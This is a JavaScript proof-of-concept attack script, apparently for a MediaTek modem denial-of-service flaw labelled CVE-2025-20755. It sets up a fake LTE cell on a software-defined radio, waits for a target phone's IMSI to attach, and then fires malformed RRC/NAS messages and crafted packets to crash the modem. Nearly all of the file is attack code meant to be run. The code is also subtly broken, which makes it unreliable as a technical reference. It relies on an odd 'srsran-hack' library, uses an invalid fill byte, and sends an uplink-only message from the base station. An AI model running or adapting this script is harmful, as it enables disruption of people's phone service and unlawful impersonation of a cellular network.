// CVE-2025-20755 PoC - MediaTek Modem Input Validation Denial of Service
// This PoC simulates the attack by sending malformed packets to trigger the vulnerability
const srsran = require('srsran-hack'); // Software Radio Systems RAN library
class RogueBaseStation {
constructor() {
this.enbId = 0x19B; // eNodeB ID
this.mcc = 001; // Mobile Country Code
this.mnc = 01; // Mobile Network Code
this.tac = 0x0001; // Tracking Area Code
}
// Create malformed RRC Connection Setup Complete message
createMalformedRRCSetupComplete() {
const msg = {
rrcTransactionIdentifier: 0x3,
criticalExtensions: {
c1: {
rrcConnectionSetupComplete: {
selectedPLMN_Identity: 1,
dedicatedInfoNAS: Buffer.alloc(1024, 0xFF), // Malformed NAS data
registeredMMEC: 0xFF,
registeredAMF: 0xFFFF
}
}
}
};
// Inject additional malformed fields
msg.criticalExtensions.c1.rrcConnectionSetupComplete.extraField = Buffer.alloc(2048, 0xAA);
return msg;
}
// Create malformed NAS message to trigger input validation issue
createMalformedNASMessage() {
const nas = {
epsMobileIdentity: {
oddEven: 0,
digit1: 0xF,
mobileId: Buffer.from([
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0xFF
]) // Exceeds expected length
},
protocolDiscriminator: 0x07,
epsBearerIdentity: 0x0F,
procedureTransactionIdentity: 0xFF
};
return nas;
}
// Start rogue base station attack
async startAttack(targetIMSI) {
console.log('[+] Starting Rogue Base Station for CVE-2025-20755');
console.log(`[+] Target IMSI: ${targetIMSI}`);
// Initialize SDR device
const sdr = await srsran.SDRDevice.open('uhd');
await sdr.configure({
frequency: 2110e6, // LTE Band 1 Downlink
bandwidth: 20e6,
gain: 40
});
// Start broadcasting fake cell
await sdr.startMIB({
enbId: this.enbId,
mcc: this.mcc,
mnc: this.mnc
});
console.log('[+] Fake cell broadcasting started');
// Wait for target UE to attach
let ueAttached = false;
while (!ueAttached) {
const ueInfo = await sdr.waitForAttach({ timeout: 60000 });
if (ueInfo.imsi === targetIMSI) {
ueAttached = true;
console.log('[+] Target UE attached');
}
}
// Send malformed messages to trigger vulnerability
console.log('[+] Sending malformed RRC/NAS messages...');
await sdr.sendRRCMessage(this.createMalformedRRCSetupComplete());
await sdr.sendNASMessage(this.createMalformedNASMessage());
// Send multiple crafted packets
for (let i = 0; i < 10; i++) {
await sdr.sendCraftedPacket({
type: 'DL_DCCH',
srbId: 1,
data: Buffer.alloc(512, 0xDEADBEEF)
});
await new Promise(r => setTimeout(r, 100));
}
console.log('[+] Attack completed');
console.log('[+] Target modem should crash/restart');
}
}
// Execute attack
const rogueBS = new RogueBaseStation();
rogueBS.startAttack('001010123456789').catch(console.error);
// Note: This PoC requires specialized radio equipment and is for educational purposes only.
// Actual exploitation requires: Software-defined radio, LTE protocol栈 knowledge, and proximity to target.